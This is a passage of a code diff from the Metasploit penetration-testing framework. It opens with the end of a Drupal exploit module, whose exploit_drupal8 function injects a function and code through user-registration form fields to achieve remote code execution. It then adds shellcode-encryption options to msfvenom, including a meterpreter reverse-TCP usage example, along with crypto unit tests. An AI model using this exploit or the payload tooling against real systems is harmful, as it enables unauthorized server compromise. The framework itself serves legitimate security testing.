||||
'form_build_id' => form_build_id.value
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_drupal8(func, code)
|
||||
# Clean URLs are enabled by default and "can't" be disabled
|
||||
uri = normalize_uri(target_uri.path, 'user/register')
|
||||
|
||||
vars_get = {
|
||||
'element_parents' => 'account/mail/#value',
|
||||
'ajax_form' => 1,
|
||||
'_wrapper_format' => 'drupal_ajax'
|
||||
}
|
||||
|
||||
vars_post = {
|
||||
'form_id' => 'user_register_form',
|
||||
'_drupal_ajax' => 1,
|
||||
'mail[#type]' => 'markup',
|
||||
'mail[#post_render][]' => func,
|
||||
'mail[#markup]' => code
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => uri,
|
||||
'vars_get' => vars_get,
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
end
|
||||
|
||||
def random_crap
|
||||
Rex::Text.rand_text_alphanumeric(8..42)
|
||||
end
|
||||
|
||||
end
|
56
msfvenom
56
msfvenom
|
@ -63,12 +63,13 @@ def parse_args(args)
|
|||
opt = OptionParser.new
|
||||
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
|
||||
banner << "Also a replacement for msfpayload and msfencode.\n"
|
||||
banner << "Usage: #{$0} [options] <var=val>"
|
||||
banner << "Usage: #{$0} [options] <var=val>\n"
|
||||
banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe"
|
||||
opt.banner = banner
|
||||
opt.separator('')
|
||||
opt.separator('Options:')
|
||||
|
||||
opt.on('-p', '--payload <payload>', String,
|
||||
opt.on('-p', '--payload <payload>', String,
|
||||
'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p|
|
||||
if p == '-'
|
||||
opts[:payload] = 'stdin'
|
||||
|
@ -81,18 +82,18 @@ def parse_args(args)
|
|||
opts[:list_options] = true
|
||||
end
|
||||
|
||||
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
||||
opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l|
|
||||
if l.nil? or l.empty?
|
||||
l = ["all"]
|
||||
end
|
||||
opts[:list] = l
|
||||
end
|
||||
|
||||
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
||||
opt.on('-n', '--nopsled <length>', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n|
|
||||
opts[:nops] = n.to_i
|
||||
end
|
||||
|
||||
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
||||
opt.on('-f', '--format <format>', String, "Output format (use --help-formats for a list)") do |f|
|
||||
opts[:format] = f
|
||||
end
|
||||
|
||||
|
@ -105,15 +106,34 @@ def parse_args(args)
|
|||
raise HelpError, msg
|
||||
end
|
||||
|
||||
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
|
||||
opt.on('--encrypt <value>', String, 'The type of encryption or encoding to apply to the shellcode') do |e|
|
||||
opts[:encryption_format] = e
|
||||
end
|
||||
|
||||
opt.on('--encrypt-formats', String, 'List Available encryption formats') do
|
||||
init_framework(:module_types => [])
|
||||
msg = "Encryption formats:\n" +
|
||||
"\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ")
|
||||
raise HelpError, msg
|
||||
end
|
||||
|
||||
opt.on('--encrypt-key <value>', String, 'A key to be used for the encryptor') do |e|
|
||||
opts[:encryption_key] = e
|
||||
end
|
||||
|
||||
opt.on('--encrypt-iv <value>', String, 'An initialization vector for the encryption') do |e|
|
||||
opts[:encryption_iv] = e
|
||||
end
|
||||
|
||||
opt.on('-e', '--encoder <encoder>', String, 'The encoder to use') do |e|
|
||||
opts[:encoder] = e
|
||||
end
|
||||
|
||||
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
|
||||
opt.on('-a', '--arch <arch>', String, 'The architecture to use') do |a|
|
||||
opts[:arch] = a
|
||||
end
|
||||
|
||||
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
||||
opt.on('--platform <platform>', String, 'The platform of the payload') do |l|
|
||||
opts[:platform] = l
|
||||
end
|
||||
|
||||
|
@ -126,28 +146,28 @@ def parse_args(args)
|
|||
raise HelpError, msg
|
||||
end
|
||||
|
||||
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
||||
opt.on('-s', '--space <length>', Integer, 'The maximum size of the resulting payload') do |s|
|
||||
opts[:space] = s
|
||||
end
|
||||
|
||||
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
|
||||
opt.on('--encoder-space <length>', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s|
|
||||
opts[:encoder_space] = s
|
||||
end
|
||||
|
||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
|
||||
init_framework()
|
||||
opts[:badchars] = Rex::Text.hex_to_raw(b)
|
||||
end
|
||||
|
||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||
opt.on('-i', '--iterations <count>', Integer, 'The number of times to encode the payload') do |i|
|
||||
opts[:iterations] = i
|
||||
end
|
||||
|
||||
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
||||
opt.on('-c', '--add-code <path>', String, 'Specify an additional win32 shellcode file to include') do |x|
|
||||
opts[:add_code] = x
|
||||
end
|
||||
|
||||
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
||||
opt.on('-x', '--template <path>', String, 'Specify a custom executable file to use as a template') do |x|
|
||||
opts[:template] = x
|
||||
end
|
||||
|
||||
|
@ -155,11 +175,11 @@ def parse_args(args)
|
|||
opts[:keep] = true
|
||||
end
|
||||
|
||||
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
||||
opt.on('-o', '--out <path>', 'Save the payload') do |x|
|
||||
opts[:out] = x
|
||||
end
|
||||
|
||||
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
||||
opt.on('-v', '--var-name <name>', String, 'Specify a custom variable name to use for certain output formats') do |x|
|
||||
opts[:var_name] = x
|
||||
end
|
||||
|
||||
|
@ -336,8 +356,8 @@ if generator_opts[:list_options]
|
|||
$stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ')
|
||||
|
||||
$stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ')
|
||||
$stderr.puts "Encryption options for #{payload_mod.fullname}:\n\n"
|
||||
$stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ')
|
||||
exit(0)
|
||||
end
|
||||
|
||||
|
|
|
@ -1056,7 +1056,7 @@ RSpec.describe Msf::PayloadGenerator do
|
|||
}
|
||||
}
|
||||
it 'applies the appropriate transform format' do
|
||||
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf')
|
||||
expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf', {})
|
||||
payload_generator.format_payload(shellcode)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,62 @@
|
|||
require 'spec_helper'
|
||||
require 'securerandom'
|
||||
|
||||
|
||||
RSpec.describe Rex::Crypto do
|
||||
|
||||
let(:iv) {
|
||||
SecureRandom.random_bytes(16)
|
||||
}
|
||||
|
||||
let(:key) {
|
||||
SecureRandom.random_bytes(32)
|
||||
}
|
||||
|
||||
let(:value) {
|
||||
'Hello World'
|
||||
}
|
||||
|
||||
describe '#encrypt_aes256' do
|
||||
it 'raises an exception due to a short IV' do
|
||||
iv = SecureRandom.random_bytes(1)
|
||||
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
|
||||
# dependong on the environment, we will just expect it to raise an exception
|
||||
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
|
||||
end
|
||||
|
||||
it 'raises an exception due to a short key' do
|
||||
key = SecureRandom.random_bytes(1)
|
||||
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
|
||||
# dependong on the environment, we will just expect it to raise an exception
|
||||
expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception
|
||||
end
|
||||
|
||||
it 'encrypts the string Hello World' do
|
||||
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
|
||||
expect(encrypted_str).not_to eq(value)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#decrypt_aes256' do
|
||||
it 'raises an exception due to a short IV' do
|
||||
iv = SecureRandom.random_bytes(1)
|
||||
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
|
||||
# dependong on the environment, we will just expect it to raise an exception
|
||||
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
|
||||
end
|
||||
|
||||
it 'raises an exception due to a short key' do
|
||||
key = SecureRandom.random_bytes(1)
|
||||
# Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError
|
||||
# dependong on the environment, we will just expect it to raise an exception
|
||||
expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception
|
||||
end
|
||||
|
||||
it 'decrypts the value to Hello World' do
|
||||
encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value)
|
||||
decrypted_str = Rex::Crypto.decrypt_aes256(iv, key, encrypted_str)
|
||||
expect(decrypted_str).to eq(value)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,28 @@
|
|||
require 'spec_helper'
|
||||
require 'securerandom'
|
||||
|
||||
|
||||
RSpec.describe Rex::Crypto do
|
||||
|
||||
describe '#rc4' do
|
||||
|
||||
let(:key) {
|
||||
SecureRandom.random_bytes(32)
|
||||
}
|
||||
|
||||
let(:value) {
|
||||
'Hello World'
|
||||
}
|
||||
|
||||
it 'encrypts a string' do
|
||||
expect(Rex::Crypto.rc4(key, value)).not_to eq(value)
|
||||
end
|
||||
|
||||
it 'decrypts a string' do
|
||||
encrypted_str = Rex::Crypto.rc4(key, value)
|
||||
decrypted_str = Rex::Crypto.rc4(key, encrypted_str)
|
||||
expect(decrypted_str).to eq(value)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue